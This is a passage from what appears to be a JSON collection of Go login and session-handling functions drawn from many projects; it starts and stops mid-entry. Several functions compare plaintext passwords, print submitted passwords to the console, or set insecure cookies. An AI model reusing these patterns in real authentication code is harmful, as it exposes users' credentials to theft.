params)\\n\\n}\",\n \"func (cc *CommonController) Login() {\\n\\tprincipal := cc.GetString(\\\"principal\\\")\\n\\tpassword := cc.GetString(\\\"password\\\")\\n\\n\\tuser, err := auth.Login(models.AuthModel{\\n\\t\\tPrincipal: principal,\\n\\t\\tPassword: password,\\n\\t})\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"Error occurred in UserLogin: %v\\\", err)\\n\\t\\tcc.CustomAbort(http.StatusUnauthorized, \\\"\\\")\\n\\t}\\n\\n\\tif user == nil {\\n\\t\\tcc.CustomAbort(http.StatusUnauthorized, \\\"\\\")\\n\\t}\\n\\n\\tcc.SetSession(\\\"userId\\\", user.UserID)\\n\\tcc.SetSession(\\\"username\\\", user.Username)\\n}\",\n \"func (a Admin) Login(user,passwd string) (error, bool) {\\n if user == a.Name && passwd == a.Pass {\\n return nil, true\\n } else {\\n return errors.New(\\\"Wrong login or password\\\"), false\\n }\\n}\",\n \"func UserLogin(w http.ResponseWriter, r *http.Request) {\\n\\t// 1. 解析body数据\\n\\tuser := User{}\\n\\tok := utils.LoadRequestBody(r, \\\"user login\\\", &user)\\n\\tif !ok {\\n\\t\\tutils.FailureResponse(&w, \\\"登录失败\\\", \\\"\\\")\\n\\t}\\n\\t// 2. 从db中取出用户信息\\n\\texistedUser := User{}\\n\\terr := Db[\\\"users\\\"].Find(bson.M{\\\"name\\\": user.Name}).One(&existedUser)\\n\\tif err != nil {\\n\\t\\tLog.Error(\\\"user login failed: user not found, \\\", err)\\n\\t\\tutils.FailureResponse(&w, \\\"登录失败,用户不存在\\\", \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\t// 3. 验证密码是否正确\\n\\terr = bcrypt.CompareHashAndPassword([]byte(existedUser.Password), []byte(user.Password))\\n\\tif err != nil {\\n\\t\\tLog.Error(\\\"user login failed: password is incorrect, \\\")\\n\\t\\tutils.FailureResponse(&w, \\\"登录失败,密码错误\\\", \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\t// 4. user login successfully, save user into session\\n\\tsession, _ := SessionGet(w, r, \\\"user\\\")\\n\\tsession[\\\"user\\\"] = existedUser\\n\\t_ = SessionSet(w, r, \\\"user\\\", session)\\n\\t// 5. response successfully\\n\\tLog.Noticef(\\\"user %v login successfully\\\", existedUser.Name)\\n\\tutils.SuccessResponse(&w, \\\"登录成功\\\", \\\"\\\")\\n}\",\n \"func Login(res http.ResponseWriter, req *http.Request) (bool, string) {\\n\\tname := req.FormValue(NameParameter)\\n\\tname = html.EscapeString(name)\\n\\tlog.Debugf(\\\"Log in user. Name: %s\\\", name)\\n\\tif name != \\\"\\\" {\\n\\t\\tuuid := generateRandomUUID()\\n\\t\\tsuccess := authClient.SetRequest(uuid, name)\\n\\t\\tif success {\\n\\t\\t\\tcookiesManager.SetCookieValue(res, CookieName, uuid)\\n\\t\\t}\\n\\t\\t// successfully loged in\\n\\t\\tif success {\\n\\t\\t\\treturn success, \\\"\\\"\\n\\t\\t} else {\\n\\t\\t\\treturn success, \\\"authServerFail\\\"\\n\\t\\t}\\n\\n\\t}\\n\\n\\treturn false, \\\"noName\\\"\\n}\",\n \"func Login() http.HandlerFunc {\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\n\\t\\tvar user userLogin\\n\\t\\t// Try to decode the request body into the struct. If there is an error,\\n\\t\\t// respond to the client with the error message and a 400 status code.\\n\\t\\terr := json.NewDecoder(r.Body).Decode(&user)\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, err.Error(), http.StatusBadRequest)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\t// when user credentials are identified we can set token and send cookie with jwt\\n\\t\\t// boolean, User returned\\n\\t\\tfmt.Println(\\\"User sent password: \\\" + user.UserName + \\\" \\\" + user.Password)\\n\\t\\tuserCred, isValid := ValidUserPassword(user.UserName, user.Password)\\n\\t\\tif isValid {\\n\\t\\t\\tlog.Info(\\\"User valid login \\\" + user.UserName)\\n\\t\\t\\tfmt.Println(userCred.UserID)\\n\\t\\t\\thttp.SetCookie(w, jwt.PrepareCookie(jwt.CreateToken(w, userCred), \\\"jwt\\\"))\\n\\t\\t} else {\\n\\t\\t\\tw.WriteHeader(http.StatusUnprocessableEntity) // send a 422 -- user they sent does not exist\\n\\t\\t\\tutil.Response(w, util.Message(\\\"422\\\", \\\"Unprocessable Entity - check what you're sending - user might not exist\\\"))\\n\\t\\t\\t//w.Write([]byte(\\\"422 - Unprocessable Entity - check what you're sending - user might not exist\\\"))\\n\\t\\t}\\n\\t}\\n}\",\n \"func (a SuperAdmin) Login(user, passwd string) (error, bool) {\\n if user == a.Name && passwd == a.Pass {\\n return nil, true\\n } else {\\n return errors.New(\\\"Wrong login or password\\\"), false\\n }\\n}\",\n \"func IsLogIn(h httprouter.Handle) httprouter.Handle {\\n\\treturn func(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\\n\\n\\t\\tcookie, err := r.Cookie(\\\"kRtrima\\\") //Grab the cookie from the header\\n\\t\\tif err != nil {\\n\\t\\t\\tswitch err {\\n\\t\\t\\tcase http.ErrNoCookie:\\n\\t\\t\\t\\tLogger.Println(\\\"No Cookie was Found with Name kRtrima\\\")\\n\\t\\t\\t\\th(w, r, ps)\\n\\t\\t\\t\\treturn\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tLogger.Println(\\\"No Cookie was Found with Name kRtrima\\\")\\n\\t\\t\\t\\th(w, r, ps)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tLogger.Println(\\\"Cookie was Found with Name kRtrima\\\")\\n\\n\\t\\t// Create a BSON ObjectID by passing string to ObjectIDFromHex() method\\n\\t\\tdocID, err := primitive.ObjectIDFromHex(cookie.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\tLogger.Printf(\\\"Cannot Convert %T type to object id\\\", cookie.Value)\\n\\t\\t\\tLogger.Println(err)\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tvar SP m.Session\\n\\t\\tif err = m.Sessions.Find(\\\"_id\\\", docID, &SP); err != nil {\\n\\t\\t\\tLogger.Println(\\\"Cannot found a valid User Session!!\\\")\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t\\t//session is missing, returns with error code 403 Unauthorized\\n\\t\\t}\\n\\n\\t\\tLogger.Println(\\\"Valid User Session was Found!!\\\")\\n\\n\\t\\tvar UP m.LogInUser\\n\\n\\t\\terr = m.Users.Find(\\\"salt\\\", SP.Salt, &UP)\\n\\t\\tif err != nil {\\n\\t\\t\\tLogger.Println(\\\"Cannot Find user with salt\\\")\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tvar LIP m.LogInUser\\n\\n\\t\\terr = m.GetLogInUser(\\\"User\\\", &LIP, r)\\n\\t\\tif err != nil {\\n\\t\\t\\tm.AddToHeader(\\\"User\\\", UP, r)\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t} else if UP.Email != LIP.Email {\\n\\t\\t\\t//remove the user ID from the session\\n\\t\\t\\tr.Header.Del(\\\"User\\\")\\n\\t\\t\\tm.AddToHeader(\\\"User\\\", UP, r)\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\th(w, r, ps)\\n\\t}\\n}\",\n \"func (user User) IsValidLogin(db *gorm.DB) (bool, string) {\\n\\ttempUser := User{}\\n\\tdb.Where(\\\"user_name=?\\\", user.UserName).First(&tempUser)\\n\\n\\tif tempUser.Password == user.Password && user.Password != \\\"\\\" {\\n\\t\\t//fmt.Println(tempUser.StartTime)\\n\\t\\tif tempUser.StartTime == \\\"\\\" {\\n\\t\\t\\t//first login\\n\\t\\t\\tcurrentTime := fmt.Sprintf(\\\"%v\\\", time.Now().UnixNano()/1000000)\\n\\t\\t\\ttempUser.StartTime = currentTime\\n\\t\\t\\tfmt.Println(\\\"setting time\\\", user.UserName, currentTime)\\n\\t\\t\\tdb.Save(&tempUser)\\n\\t\\t}\\n\\t\\treturn true, \\\"ok\\\"\\n\\t}\\n\\treturn false, \\\"check credentials\\\"\\n}\",\n \"func performLogin(c *gin.Context) {\\n\\t/*\\n\\t\\tGet the values from POST objects\\n\\t*/\\n\\tusername := c.PostForm(\\\"username\\\")\\n\\tpassword := c.PostForm(\\\"password\\\")\\n\\n\\t/*\\n\\t\\tChecks the username and password variables valuesare not empty\\n\\t*/\\n\\tif len(username) == 0 || len(password) == 0 {\\n\\t\\terr = errors.New(\\\"missing password and/or email\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t/*\\n\\t\\tCall the actual function which checks and return error or information about user\\n\\t\\tBased on status we are redirecting to necessary pages\\n\\t\\tIf error then redirecting to login page again with error messages\\n\\t\\tIf valid then redirecting to userprofile page which display user information.\\n\\t*/\\n\\tUserInfo, err := getUser(username, password)\\n\\tif err != nil {\\n\\t\\trender(c, gin.H{\\n\\t\\t\\t\\\"title\\\": \\\"Login\\\",\\n\\t\\t\\t\\\"ErrorMessage\\\": \\\"Login Failed\\\",\\n\\t\\t}, \\\"login.html\\\")\\n\\t} else {\\n\\t\\trender(c, gin.H{\\n\\t\\t\\t\\\"title\\\": \\\"User Profile\\\",\\n\\t\\t\\t\\\"UserInfo\\\": UserInfo,\\n\\t\\t}, \\\"userprofile.html\\\")\\n\\t}\\n}\",\n \"func (a Authentic) loginHandler(c buffalo.Context) error {\\n\\tc.Request().ParseForm()\\n\\n\\t//TODO: schema ?\\n\\tloginData := struct {\\n\\t\\tUsername string\\n\\t\\tPassword string\\n\\t}{}\\n\\n\\tc.Bind(&loginData)\\n\\n\\tu, err := a.provider.FindByUsername(loginData.Username)\\n\\tif err != nil || ValidatePassword(loginData.Password, u) == false {\\n\\t\\tc.Flash().Add(\\\"danger\\\", \\\"Invalid Username or Password\\\")\\n\\t\\treturn c.Redirect(http.StatusSeeOther, a.Config.LoginPath)\\n\\t}\\n\\n\\tc.Session().Set(SessionField, u.GetID())\\n\\tc.Session().Save()\\n\\n\\treturn c.Redirect(http.StatusSeeOther, a.Config.AfterLoginPath)\\n}\",\n \"func (u *User) login(ctx *clevergo.Context) error {\\n\\tuser, _ := u.User(ctx)\\n\\tif !user.IsGuest() {\\n\\t\\tctx.Redirect(\\\"/\\\", http.StatusFound)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif ctx.IsPost() {\\n\\t\\tform := forms.NewLogin(u.DB(), user, u.captchaManager)\\n\\t\\tif _, err := form.Handle(ctx); err != nil {\\n\\t\\t\\treturn jsend.Error(ctx.Response, err.Error())\\n\\t\\t}\\n\\n\\t\\treturn jsend.Success(ctx.Response, nil)\\n\\t}\\n\\n\\treturn ctx.Render(http.StatusOK, \\\"user/login.tmpl\\\", nil)\\n}\",\n \"func HandleSignIn(res http.ResponseWriter, req *http.Request) {\\n\\tvalidate := new(validation.Validate)\\n\\tvar requestError errors.BadRequestError = \\\"Invalid credentials\\\"\\n\\tschema := models.UserSchema{}\\n\\tuser := db.Client.Database(\\\"user\\\").Collection(\\\"User\\\")\\n\\tvalidate.ValidateEmail(req.FormValue(\\\"email\\\"), \\\"Email must be valid\\\")\\n\\tvalidate.IsPassword(req.FormValue(\\\"password\\\"), \\\"You must supply a password\\\")\\n\\n\\tif validate.ValidationResult != nil {\\n\\t\\terrors.HTTPError(res, validate, http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\terr := user.FindOne(context.Background(), bson.D{{Key: \\\"email\\\", Value: req.FormValue(\\\"email\\\")}}).Decode(&schema)\\n\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"SignError: \\\", err)\\n\\t\\terrors.HTTPError(res, requestError, http.StatusBadRequest)\\n\\t} else {\\n\\t\\tif answer := schema.CompareHashAndPassword(schema.Password, []byte(req.FormValue(\\\"password\\\"))); answer == false {\\n\\t\\t\\terrors.HTTPError(res, requestError, http.StatusBadRequest)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tuserJwt := jwt.MapClaims{\\n\\t\\t\\t\\\"id\\\": schema.ID,\\n\\t\\t\\t\\\"email\\\": req.FormValue(\\\"email\\\"),\\n\\t\\t\\t\\\"iat\\\": time.Now().Unix(),\\n\\t\\t}\\n\\t\\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, userJwt)\\n\\t\\ttokenString, err := token.SignedString([]byte(os.Getenv(\\\"JWT_KEY\\\")))\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(\\\"Token Error: \\\", err)\\n\\t\\t}\\n\\t\\thttp.SetCookie(res, &http.Cookie{\\n\\t\\t\\tName: \\\"auth-session\\\",\\n\\t\\t\\tValue: tokenString,\\n\\t\\t})\\n\\t\\tdata, _ := json.Marshal(models.UserSchema{ID: schema.ID, Email: schema.Email})\\n\\t\\tfmt.Fprint(res, string(data))\\n\\t}\\n\\n}\",\n \"func DoSignin(w http.ResponseWriter, r *http.Request) {\\n\\n\\tvar id int\\n\\n\\tif r.Method == \\\"POST\\\" {\\n\\t\\t// Handles login when it is hit as a post request\\n\\t\\tr.ParseForm()\\n\\t\\tstmt, err := db.Prepare(\\\"select id from users where username=? and password=?\\\")\\n\\t\\tres := stmt.QueryRow(r.FormValue(\\\"username\\\"), r.FormValue(\\\"password\\\"))\\n\\t\\terr = res.Scan(&id)\\n\\n\\t\\tif err == nil {\\n\\t\\t\\tsess, _ := globalSessions.SessionStart(w, r)\\n\\t\\t\\tdefer sess.SessionRelease(w)\\n\\t\\t\\tsetUserCookies(w, id, sess.SessionID())\\n\\t\\t\\t_ = sess.Set(\\\"user_id\\\", id)\\n\\t\\t\\t_ = sess.Set(\\\"username\\\", r.FormValue(\\\"username\\\"))\\n\\t\\t\\tif r.FormValue(\\\"remember-me\\\") == \\\"on\\\" {\\n\\t\\t\\t\\tsaveSession(w, r, sess.SessionID(), id)\\n\\n\\t\\t\\t}\\n\\t\\t\\taddRemoteAddress(r, id)\\n\\t\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\t\\t} else {\\n\\t\\t\\tlog.Println(\\\"Database connection failed: \\\", err)\\n\\t\\t}\\n\\t} else {\\n\\t\\tanonsess, _ := anonSessions.SessionStart(w, r)\\n\\t\\tdefer anonsess.SessionRelease(w)\\n\\t\\t// Handles auto login when it is hit as a GET request\\n\\t\\tsessionIdCookie, err := r.Cookie(\\\"userSession_id\\\")\\n\\t\\tif err == nil {\\n\\t\\t\\tstmt, err := db.Prepare(\\\"select id, username from users where session_id=?\\\")\\n\\t\\t\\tres := stmt.QueryRow(sessionIdCookie.Value)\\n\\t\\t\\tvar username string\\n\\t\\t\\terr = res.Scan(&id, &username)\\n\\t\\t\\tif err == nil {\\n\\t\\t\\t\\tif checkRemoteAddress(r, id) {\\n\\t\\t\\t\\t\\tsess, _ := globalSessions.SessionStart(w, r)\\n\\t\\t\\t\\t\\tdefer sess.SessionRelease(w)\\n\\t\\t\\t\\t\\terr = sess.Set(\\\"user_id\\\", id)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tlog.Println(err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t_ = sess.Set(\\\"username\\\", username)\\n\\t\\t\\t\\t\\tsaveSession(w, r, sess.SessionID(), id)\\n\\t\\t\\t\\t\\tsetUserCookies(w, id, sess.SessionID())\\n\\t\\t\\t\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\thttp.Redirect(w, r, \\\"/newAddress\\\", 302)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\thttp.Redirect(w, r, \\\"/userNotFound\\\", 302)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\t\\t}\\n\\t}\\n}\",\n \"func Login(ctx *gin.Context) {\\n\\n\\tDB := common.GetDB()\\n\\n\\t//获取数据\\n\\ttelephone := ctx.PostForm(\\\"tel\\\")\\n\\tpassword := ctx.PostForm(\\\"password\\\")\\n\\n\\t//判断数据\\n\\tif len(telephone) != 11 {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4221, gin.H{}, \\\"手机号必须为11位\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(password) < 6 {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4222, gin.H{}, \\\"密码需大于6位\\\")\\n\\n\\t\\treturn\\n\\t}\\n\\n\\t//处理数据\\n\\n\\tvar user model.User\\n\\tDB.First(&user, \\\"telephone = ?\\\", telephone)\\n\\tif user.ID == 0 {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4225, gin.H{}, \\\"用户不存在\\\")\\n\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(password)); err != nil {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4226, gin.H{}, \\\"密码错误\\\")\\n\\t\\tfmt.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\ttoken, err := common.ReleaseToken(user)\\n\\n\\tif err != nil {\\n\\t\\tresponse.Response(ctx, http.StatusInternalServerError, 5001, gin.H{}, \\\"密码解析错误\\\")\\n\\t\\tlog.Fatal(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tresponse.Success(ctx, gin.H{\\\"token\\\": token}, \\\"ok\\\")\\n\\n}\",\n \"func (s *SessionManager) ValidateSession(w http.ResponseWriter, r *http.Request) (*SessionInfo, error) {\\n\\tsession, err := s.Store.Get(r, \\\"session\\\")\\n\\tif err != nil {\\n\\t\\terr = errors.Errorf(errors.CodeUnauthorized, \\\"Previous session no longer valid: %s\\\", err)\\n\\t\\tlog.Println(err)\\n\\t\\ts.DeleteSession(w, r)\\n\\t\\tutil.ErrorHandler(err, w)\\n\\t\\treturn nil, err\\n\\t}\\n\\tif session.IsNew {\\n\\t\\terr = errors.Errorf(errors.CodeUnauthorized, \\\"No valid session\\\")\\n\\t\\tlog.Println(err)\\n\\t\\tutil.ErrorHandler(err, w)\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar si SessionInfo\\n\\tvar exists bool\\n\\tusername, exists := session.Values[\\\"username\\\"]\\n\\tif !exists || username.(string) == \\\"\\\" {\\n\\t\\terr = errors.Errorf(errors.CodeUnauthorized, \\\"Existing session invalid: (username: %s)\\\", si.Username)\\n\\t\\tlog.Println(err)\\n\\t\\ts.DeleteSession(w, r)\\n\\t\\tutil.ErrorHandler(err, w)\\n\\t\\treturn nil, err\\n\\t}\\n\\tsi.Username = username.(string)\\n\\tuserID, exists := session.Values[\\\"user_id\\\"]\\n\\tif !exists || userID == nil || userID.(string) == \\\"\\\" {\\n\\t\\terr = errors.Errorf(errors.CodeUnauthorized, \\\"Existing session invalid: (id: %s)\\\", si.UserID)\\n\\t\\tlog.Println(err)\\n\\t\\ts.DeleteSession(w, r)\\n\\t\\tutil.ErrorHandler(err, w)\\n\\t\\treturn nil, err\\n\\t}\\n\\tsi.UserID = userID.(string)\\n\\treturn &si, nil\\n}\",\n \"func (app *Application) LoginHandler(w http.ResponseWriter, r *http.Request) {\\n\\tvar data map[string]interface{}\\n\\tdata = make(map[string]interface{})\\n\\tfmt.Println(\\\"login.html\\\")\\n\\tif r.FormValue(\\\"submitted\\\") == \\\"true\\\" {\\n\\t\\tuname := r.FormValue(\\\"username\\\")\\n\\t\\tpword := r.FormValue(\\\"password\\\")\\n\\t\\torg := r.FormValue(\\\"org\\\")\\n\\t\\tprintln(uname, pword, org)\\n\\t\\t//according uname, comparing pword with map[uname]\\n\\t\\tfor _, v := range webutil.Orgnization[org] {\\n\\t\\t\\tfmt.Println(\\\"org user\\\", v.UserName)\\n\\t\\t\\tif v.UserName == uname {\\n\\t\\t\\t\\tif v.Secret == pword {\\n\\t\\t\\t\\t\\twebutil.MySession.SetSession(uname, org, w)\\n\\t\\t\\t\\t\\thttp.Redirect(w, r, \\\"./home.html\\\", 302)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t}\\n\\t\\t//login failed redirect to login page and show failed\\n\\t\\tdata[\\\"LoginFailed\\\"] = true\\n\\t\\tloginTemplate(w, r, \\\"login.html\\\", data)\\n\\t\\treturn\\n\\t}\\n\\tloginTemplate(w, r, \\\"login.html\\\", data)\\n}\",\n \"func HandleLogin(w http.ResponseWriter, r *http.Request) {\\n\\terr := r.ParseForm()\\n\\tif err != nil {\\n\\t\\tServeHandleIncorrect(w, r)\\n\\t\\treturn\\n\\t}\\n\\tvalues := LoginFormValues{}\\n\\tdecoder := schema.NewDecoder()\\n\\terr = decoder.Decode(&values, r.PostForm)\\n\\tif err != nil {\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\tacc, err := data.GetAccountByHandle(values.Handle)\\n\\tif err == mgo.ErrNotFound {\\n\\t\\tServeHandleIncorrect(w, r)\\n\\t\\treturn\\n\\t}\\n\\tif err != nil {\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\tm := acc.Password.Match(values.Password)\\n\\tif !m {\\n\\t\\thttp.Redirect(w, r, \\\"/login\\\", http.StatusSeeOther)\\n\\t\\treturn\\n\\t}\\n\\n\\tsess, err := store.Get(r, \\\"s\\\")\\n\\tif err != nil {\\n\\t\\tServeInternalServerError(w, r)\\n\\t\\treturn\\n\\t}\\n\\tsess.Values[\\\"accountID\\\"] = acc.ID.Hex()\\n\\tsess.Save(r, w)\\n\\thttp.Redirect(w, r, \\\"/tasks\\\", http.StatusSeeOther)\\n}\",\n \"func UserLogin(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\\n\\tfmt.Println(\\\"login\\\")\\n\\n\\t//t := r.URL.Query().Get(\\\"token\\\")\\n\\t//if t\\n\\n\\tcredentials := model.Credentials{}\\n\\tdecoder := json.NewDecoder(r.Body)\\n\\tif err := decoder.Decode(&credentials); err != nil {\\n\\t\\tRespondError(w, http.StatusUnauthorized, \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tuser := getUserByName(db, credentials.Username, w, r)\\n\\tif user == nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(credentials.Password)); err != nil {\\n\\t\\tRespondError(w, http.StatusUnauthorized, \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\ttoken, err := auth.GenerateToken(*user)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\tRespondError(w, http.StatusInternalServerError, \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tlr := model.LoginResponse{\\n\\t\\tName: user.Name,\\n\\t\\tUsername: user.Username,\\n\\t\\tUUID: user.UUID,\\n\\t\\tToken: token,\\n\\t}\\n\\n\\tRespondJSON(w, http.StatusOK, lr)\\n}\",\n \"func Login(w http.ResponseWriter, r *http.Request) {\\n\\tbody, err := ioutil.ReadAll(r.Body)\\n\\tif err != nil {\\n\\t\\tutils.Error(w, http.StatusUnprocessableEntity, err)\\n\\t\\treturn\\n\\t}\\n\\tvar user models.User\\n\\tif err = json.Unmarshal(body, &user); err != nil {\\n\\t\\tutils.Error(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\tdb, error := database.Connect()\\n\\tif error != nil {\\n\\t\\tutils.Error(w, http.StatusInternalServerError, error)\\n\\t\\treturn\\n\\t}\\n\\tdefer db.Close()\\n\\tuserRepo := repository.NewUserRepo(db)\\n\\tuserFound, err := userRepo.FindByEmail(user.Email)\\n\\tif error != nil {\\n\\t\\tutils.Error(w, http.StatusInternalServerError, error)\\n\\t\\treturn\\n\\t}\\n\\tif err = hash.Verify(user.Password, userFound.Password); err != nil {\\n\\t\\tutils.Error(w, http.StatusUnauthorized, err)\\n\\t\\treturn\\n\\t}\\n\\ttoken, err := authentication.Token(userFound.ID)\\n\\tif err != nil {\\n\\t\\tutils.Error(w, http.StatusInternalServerError, err)\\n\\t\\treturn\\n\\t}\\n\\tw.Write([]byte(token))\\n}\",\n \"func handleLogin(w http.ResponseWriter, r *http.Request) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tparseFormErr := r.ParseForm()\\n\\n\\tif parseFormErr != nil {\\n\\t\\thttp.Error(w, \\\"Sent invalid form\\\", http.StatusBadRequest)\\n\\t} else {\\n\\t\\temail := r.FormValue(\\\"email\\\")\\n\\t\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\t\\tchannel := make(chan FindUserResponse)\\n\\t\\tgo GetUserWithLogin(email, password, channel)\\n\\n\\t\\tres := <-channel\\n\\n\\t\\tif res.Err != nil {\\n\\t\\t\\tif res.Err.Error() == UserNotFound || res.Err.Error() == PasswordNotMatching {\\n\\t\\t\\t\\thttp.Error(w, \\\"Provided email/password do not match\\\", http.StatusNotFound)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcommon.SendInternalServerError(w)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\ttoken, expiry, jwtErr := middleware.CreateLoginToken(res.User)\\n\\n\\t\\t\\tif jwtErr != nil {\\n\\t\\t\\t\\tlog.Println(jwtErr)\\n\\t\\t\\t\\tcommon.SendInternalServerError(w)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tres.User.Password = nil\\n\\t\\t\\t\\tjsonResponse, jsonErr := json.Marshal(res.User)\\n\\n\\t\\t\\t\\tif jsonErr != nil {\\n\\t\\t\\t\\t\\tlog.Println(jsonErr)\\n\\t\\t\\t\\t\\tcommon.SendInternalServerError(w)\\n\\t\\t\\t\\t} else {\\n\\n\\t\\t\\t\\t\\tjsonEncodedCookie := strings.ReplaceAll(string(jsonResponse), \\\"\\\\\\\"\\\", \\\"'\\\") // Have to do this to Set-Cookie in psuedo-JSON format.\\n\\n\\t\\t\\t\\t\\t_, inProduction := os.LookupEnv(\\\"PRODUCTION\\\")\\n\\n\\t\\t\\t\\t\\thttp.SetCookie(w, &http.Cookie{\\n\\t\\t\\t\\t\\t\\tName: \\\"token\\\",\\n\\t\\t\\t\\t\\t\\tValue: token,\\n\\t\\t\\t\\t\\t\\tPath: \\\"/\\\",\\n\\t\\t\\t\\t\\t\\tExpires: expiry,\\n\\t\\t\\t\\t\\t\\tRawExpires: expiry.String(),\\n\\t\\t\\t\\t\\t\\tSecure: inProduction,\\n\\t\\t\\t\\t\\t\\tHttpOnly: true,\\n\\t\\t\\t\\t\\t\\tSameSite: 0,\\n\\t\\t\\t\\t\\t})\\n\\n\\t\\t\\t\\t\\thttp.SetCookie(w, &http.Cookie{\\n\\t\\t\\t\\t\\t\\tName: \\\"userinfo\\\",\\n\\t\\t\\t\\t\\t\\tValue: jsonEncodedCookie,\\n\\t\\t\\t\\t\\t\\tPath: \\\"/\\\",\\n\\t\\t\\t\\t\\t\\tExpires: expiry,\\n\\t\\t\\t\\t\\t\\tRawExpires: expiry.String(),\\n\\t\\t\\t\\t\\t\\tSecure: false,\\n\\t\\t\\t\\t\\t\\tHttpOnly: false,\\n\\t\\t\\t\\t\\t\\tSameSite: 0,\\n\\t\\t\\t\\t\\t})\\n\\n\\t\\t\\t\\t\\tw.WriteHeader(http.StatusOK)\\n\\t\\t\\t\\t\\tw.Write(jsonResponse)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func (router *router) SignIn(w http.ResponseWriter, r *http.Request) {\\n\\trouter.log.Println(\\\"request received at endpoint: SignIn\\\")\\n\\tuser := &schema.User{}\\n\\n\\tr.ParseForm()\\n\\n\\tif username := r.FormValue(\\\"username\\\"); username != \\\"\\\" {\\n\\t\\tuser.User = username\\n\\t} else {\\n\\t\\trouter.log.Println(\\\"username is empty redirecting signin page\\\")\\n\\t\\tSignInPage(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\tif pwd := r.FormValue(\\\"password\\\"); pwd != \\\"\\\" {\\n\\t\\tuser.Password = pwd\\n\\t} else {\\n\\t\\trouter.log.Println(\\\"password is empty redirecting signin page\\\")\\n\\t\\tSignInPage(w, r)\\n\\t\\treturn\\n\\t}\\n\\n\\tdbUser := router.database.User(user.User)\\n\\n\\tif security.CheckPasswordHash(user.Password, dbUser.Password) {\\n\\t\\trouter.log.Println(\\\"Sign In success for user \\\", user.User)\\n\\t\\tsession.CreateSession(w, r)\\n\\t\\trouter.Favorites(w, r)\\n\\t\\treturn\\n\\t} else {\\n\\t\\trouter.log.Println(\\\"Sign In failed for user \\\", user.User, \\\"redirecting signin page\\\")\\n\\t\\tSignInPage(w, r)\\n\\t\\treturn\\n\\t}\\n\\n}\",\n \"func (am AuthManager) Login(userID string, ctx *Ctx) (session *Session, err error) {\\n\\t// create a new session value\\n\\tsessionValue := NewSessionID()\\n\\t// userID and sessionID are required\\n\\tsession = NewSession(userID, sessionValue)\\n\\tif am.SessionTimeoutProvider != nil {\\n\\t\\tsession.ExpiresUTC = am.SessionTimeoutProvider(session)\\n\\t}\\n\\tsession.UserAgent = webutil.GetUserAgent(ctx.Request)\\n\\tsession.RemoteAddr = webutil.GetRemoteAddr(ctx.Request)\\n\\n\\t// call the perist handler if one's been provided\\n\\tif am.PersistHandler != nil {\\n\\t\\terr = am.PersistHandler(ctx.Context(), session)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\t// if we're in jwt mode, serialize the jwt.\\n\\tif 